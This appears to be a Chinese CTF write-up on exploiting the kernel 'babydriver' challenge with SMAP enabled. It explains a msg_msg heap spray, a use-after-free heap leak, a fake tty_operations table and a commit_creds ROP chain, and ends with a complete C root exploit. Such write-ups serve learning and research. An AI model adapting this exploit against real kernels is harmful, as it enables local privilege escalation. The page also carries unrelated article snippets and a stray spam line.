<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Kernel PWN-開啟smap保護的babydrive

    VSole2023-03-22 09:42:31

    一、開啟smap

    由于原本的babydrive啟動腳本里,沒有開啟smap,所以內核可以訪問用戶態的數據,因此我們才能夠將fake_tty_operation和我們的rop布置到用戶態。可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。

    此時就需要我們想一個辦法,把fake_tty_operation布置到內核空間并且還得再布置一個rop,除此之外還得知道布置的內核位置在哪。

    二、msg_msg

    那么如何往內核里面丟垃圾呢,這里有一個選擇就是噴他一發msg_msg

    msg_msg在linux 中用于進程之間通訊,在msgget函數調用后,會創建一條消息隊列在內核空間中會創建一個 msg_queue 結構體,在調用msgsnd時就會發送一條msg的消息到指定隊列上。

    當我們調用msgsnd時,在linux內核中會調用do_msgsnd。

    static long do_msgsnd(int msqid, long mtype, void __user *mtext,                size_t msgsz, int msgflg){        struct msg_queue *msq;        struct msg_msg *msg;        int err;        struct ipc_namespace *ns;        DEFINE_WAKE_Q(wake_q);         ns = current->nsproxy->ipc_ns;         if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)                return -EINVAL;        if (mtype < 1)                return -EINVAL;         msg = load_msg(mtext, msgsz);.....}
    

    在經過兩個檢驗后,就會調用load_msg,跟進該函數。

    struct msg_msg *load_msg(const void __user *src, size_t len){        struct msg_msg *msg;        struct msg_msgseg *seg;        int err = -EFAULT;        size_t alen;         msg = alloc_msg(len);        if (msg == NULL)                return ERR_PTR(-ENOMEM);         alen = min(len, DATALEN_MSG);        if (copy_from_user(msg + 1, src, alen))                goto out_err;         for (seg = msg->next; seg != NULL; seg = seg->next) {                len -= alen;                src = (char __user *)src + alen;                alen = min(len, DATALEN_SEG);                if (copy_from_user(seg + 1, src, alen))                        goto out_err;        }         err = security_msg_msg_alloc(msg);        if (err)                goto out_err;         return msg; out_err:        free_msg(msg);        return ERR_PTR(err);}
    

    可以看到調用alloc_msg后會調用copy_from_user來將用戶的信息復制進內核里。而alloc_msg里:

    static struct msg_msg *alloc_msg(size_t len){        struct msg_msg *msg;        struct msg_msgseg **pseg;        size_t alen;         alen = min(len, DATALEN_MSG);        msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);        if (msg == NULL)                return NULL;         msg->next = NULL;        msg->security = NULL;         len -= alen;        pseg = &msg->next;        while (len > 0) {                struct msg_msgseg *seg;                 cond_resched();                 alen = min(len, DATALEN_SEG);                seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);                if (seg == NULL)                        goto out_err;                *pseg = seg;                seg->next = NULL;                pseg = &seg->next;                len -= alen;        }         return msg; out_err:        free_msg(msg);        return NULL;}
    

    會根據用戶發送的msg大小來調用kmalloc申請內存。因此,借助msg_msg我們可以實現任意大小的分配內核空間,并且可以控制該空間除去msg頭(0x30)大小外的所有內存內容(這不就是堆。

    三、再看babydrive

    Leak heap

    由于我們擁有了一個樸實無華的UAF,并且可以通過對驅動的交互來實現對該指針指向的內存空間進行讀寫操作。

    當我們free掉一個object時,該object內就會有下一個空閑object的地址,因此我們可以leak出該freelist的地址。

    可以看到rdi寄存器這就是當前還存有空閑object的freelist,在后續的申請中,我們也是有機會取出這里面的object的。

    在freelist上的object,都會存在一個指針指向下一個空閑的object,下圖就是:

    因此當我們在free掉原本的object時,再讀里面的內容,就能輕輕松松的leak出來heap_addr。

    復用tty_struct布置tty_operation

    上文中提到,開啟smap后,內核無法直接訪問用戶態的數據,因此這時候我們的tty_operation也需要布置到內核空間,才能成功的在對tty設備操作時調用到我們布置的gadget。

    在這里鼠鼠我由于比較懶,不想再噴一次msg_msg,于是突發奇想,想到能不能利用tty_struct里沒有數據的地方來布置我們的tty_operation,這樣就不用再噴一次,難為一個剛入門kernel的lese了(笑)。

    可以看到原本tty_struct前面的部分是如此,在tty_struct+0x1a0的地方,鼠鼠我找到了一塊沒數據的地方。

    于是鼠鼠計劃把我的fake_tty_operation寫到這里,利用題目中baby_write函數,把fake tty struct和fake tty operation一次性寫進去,一炮雙響,完成hijack tty operation和在內核空間布置fake tty operation的壯舉。

    效果如圖。

    利用msgsnd布置rop

    從上文對msgsnd函數的分析,我們可以利用msgsnd來布置rop鏈,于此同時由于我們已經leak 了freelist上的地址,所以可以多次使用msgsnd發送合適size的消息,就有機會拿到已知地址的freelist上的object并且往里面寫入rop鏈子,并且由于有freelist地址,再配合鼠鼠我找到的pop rsp; ret;這條gadget,就能直接跳到rop上,完成get root。

    利用msgsnd布置rop時發生了一些鼠鼠目前沒搞明白的東西,但是為了避免大家看鼠鼠的水文摸不著頭腦,就小提一嘴。

    我的rop鏈如下:

    rop[i++] = *(size_t*)"patekblue";   rop[i++] = pop_rdi_ret;   rop[i++] = init_cred;   rop[i++] = commit_cred;// rop[i++] = *(size_t*)"patekblue";//   rop[i++] = (size_t)usr;   rop[i++] = swapgs_pop_rbp_ret;   rop[i++] = *(size_t*)"patekblue";   rop[i++] = iretq_ret;    rop[i++] = (size_t)getshell;   rop[i++] = user_cs;   rop[i++] = user_rflags;   rop[i++] = user_sp;   rop[i++] = user_ss;
    

    而用msgsnd后,我的rop第一條和第二條會斷開。

    鼠鼠對源碼的理解很淺,所以也不明白為什么會如此,有明白為什么的師傅可以教教0r2。

    四、Exp

    由于鼠鼠的堆噴實屬剛入門,水平低下,所以寫出來的exp內核布局不穩定,qemu啟動后建議直接運行exp拿root權限,如果用了一些命令行的話,exp就可能會寄。

    #define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sched.h>#include <sys/types.h>#include <sys/ipc.h>#include <sys/msg.h>size_t user_cs, user_ss, user_rflags, user_sp;size_t commit_cred = 0xffffffff810a1420;size_t init_cred = 0xffffffff81e48c60;size_t mov_rsp_rax_dnc_ebx_ret = 0xffffffff8181bfc5;size_t pop_rax = 0xffffffff8100ce6e;size_t swapgs_pop_rbp_ret = 0xffffffff81063694;size_t iretq_ret = 0xffffffff814e35ef;size_t pop_rdi_ret = 0xffffffff810d238d;size_t mov_rc4_rdi_pop_rbp_ret = 0xffffffff81004d80;size_t pop_rsp_ret = 0xffffffff81171045;size_t leak[0x60];size_t fake_tty[0x200];int fd1;char meiyongde[10];int  fd3;void info(char *s , size_t address ){    if (address) printf("\033[32m\033[1m[Info] %s : \033[0m%#lx\n", s, address);    else printf("\033[32m\033[1m[Info] %s \033[0m\n", s);}  void usr(){  void (*commit) (char*) = commit_cred;(*commit)(init_cred);  }  void save_status(){   __asm__(        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_sp, rsp;"        "pushf;"        "pop user_rflags;"    );    info("status saved!",0);  }void getshell(){   info("root!!!!!!",0);   system("/bin/sh");  }   void bind_cpu(int core){    cpu_set_t cpu_set;     CPU_ZERO(&cpu_set);    CPU_SET(core, &cpu_set);    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);} int main(){   int ret = 0;    cpu_set_t cpu_set;    CPU_ZERO(&cpu_set);    CPU_SET(0, &cpu_set);    sched_setaffinity(0, sizeof(cpu_set), &cpu_set);    int ms_qid[0x100];    save_status();    fd1=open("/dev/babydev",2);    int fd2=open("/dev/babydev",2);    ioctl(fd2,0x10001,0x2e0);    close(fd2);     info("try to read heapadd",0);    read(fd1,leak,0x60);    info("try to write heapadd",0);    info("heapadd",leak[0]);    fd3=open("/dev/ptmx",2);    size_t fake_ktty_add;    size_t rop[0x20];    int i =0;    fake_ktty_add = (size_t*)leak[0];    fake_ktty_add = fake_ktty_add+0x800;    info("check tty add",fake_ktty_add);         rop[i++] = *(size_t*)"patekblue";    rop[i++] = pop_rdi_ret;    rop[i++] = init_cred;    rop[i++] = commit_cred; // rop[i++] = *(size_t*)"patekblue"; //   rop[i++] = (size_t)usr;    rop[i++] = swapgs_pop_rbp_ret;    rop[i++] = *(size_t*)"patekblue";    rop[i++] = iretq_ret;     rop[i++] = (size_t)getshell;    rop[i++] = user_cs;    rop[i++] = user_rflags;    rop[i++] = user_sp;    rop[i++] = user_ss;    info("rop:",rop);    size_t testrop[0x20];    testrop[0] = 0x11111111;    testrop[1] = 0x22222222;    testrop[3] =  0x33333333;    testrop[4] = 0x44444444;    testrop[5] = 0x55555555;    testrop[6] =  0x66666666;    testrop[7] =  0xdeadbeef;    size_t operation[0x10];    size_t f_operation_add = fake_ktty_add + 0x1a0;    info("check fake tty operation",f_operation_add);     info("prepare fake tty_operation done!",0);    info("try to hijack tty...",0);     read(fd1,fake_tty,0x200);    fake_tty[3] = f_operation_add;    int t = 0x34;  //  fake_tty[t] = pop_rsp_ret;   // fake_tty[t++] = leak[0];   size_t kernel_rop = fake_ktty_add +0x400 +0x30;   info("check rop add in kernel space",kernel_rop);    fake_tty[t] = pop_rsp_ret;    fake_tty[t+1] = kernel_rop;    for(int j = 2;j<8;j++){     fake_tty[t+j] = mov_rsp_rax_dnc_ebx_ret;       }     int msg_id[5];    for (int k = 0;k < 5;k++){       msg_id[k] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);        if(msg_id[k]==-1){             printf("get error msg_id : %d",k);         }        printf("sucess get msg_id : %d\n",k);       }     for (int w = 0; w < 5; w++)    {        ret = msgsnd((int*)msg_id[w],rop,0x2e0 - 0x30,0);          if(ret==-1){             printf("get error in : %d",w);        }     }    write(fd1,fake_tty,0x200);     write(fd3, meiyongde,10);  }
    

    攻擊效果:

    題目附件:https://pan.baidu.com/s/1_GcHcktkciIXPCG4bmMpSw?pwd=game

    提取碼:game

    size_tobject
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在上周末的深育杯線上賽中,遇到了一個挺有意思的題目,叫 HelloJerry,考察的是 JerryScript 引擎的漏洞利用。
    本篇文章是Builtin專題的第五篇,詳細分析Builtin的調用過程。
    VED 的檢查能夠有效檢查到越界讀取, 但是這個防御也是不完整的,精心制作的 msg 仍可能繞過。這兩個緩解措施均是可被繞過的,VED 目前的版本是基于 LKRG 實現的,檢查的完整性與性能的平衡是需要考慮的。另外則是雖然這兩個緩解措施均可被繞過,但是疊加兩者,由于其中的檢查是相互交叉的,比方說完整性檢查包含的 struct msg_msgseg *next, size_t m_ts,和越界檢查。VED 也在探索更加完整并且平衡性能損耗的方案。
    快速了解 Linux Sudo 高危提權漏洞的研究利用。
    相關例子如下,編譯的時候需要在Debug模式:#define _CRTDBG_MAP_ALLOC. main.cpp : {163} normal block at 0x000002882AE17740, 12 bytes long.Data: < M > 07 00 00 00 4D 00 00 00 09 03 00 00. main.cpp : {162} normal block at 0x000002882AE148C0, 4 bytes long.內存的申請在C++編程語言中,內存申請對應的關鍵字是new或malloc,其實new最后調用的也是malloc函數,對應源代碼文件是debug_heap.cpp。在包含相關頭文件之后,malloc函數的調用棧為:malloc -> _malloc_dbg -> heap_alloc_dbg -> heap_alloc_dbg_internal。_CrtMemBlockHeader* _block_header_prev; // 雙向鏈表,訪問該雙向鏈表的全局變量為__acrt_first_block. size_t _data_size; // malloc分配的大
    syscall的檢測與繞過
    2023-01-05 09:43:15
    syscall的檢測與繞過
    項目的bug和不足作者只實現了TCP-client的代碼,并且x86下測試通過,但是在x64模式下連接到服務端時出現了錯誤。
    本文要實現的是對模塊加載的監控,并卸載掉目標模塊。實驗是在WIN 7 X86系統上進行,需要使用的文件是InjectDll.dll和TestDriver.sys。這兩個文件的內容非常簡單,InjectDll.dll在加載進進程中以后只會彈出加載的對話框,而TestDriver.sys只是在驅動加載和卸載的時候打印字符提醒。
    Dll注入
    2021-11-08 14:57:41
    最近太忙啦XDM,又在做一些列的分析復現工作量有點大,更新要慢一點了。一致,也不會覆蓋其他的進程信息。
    可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类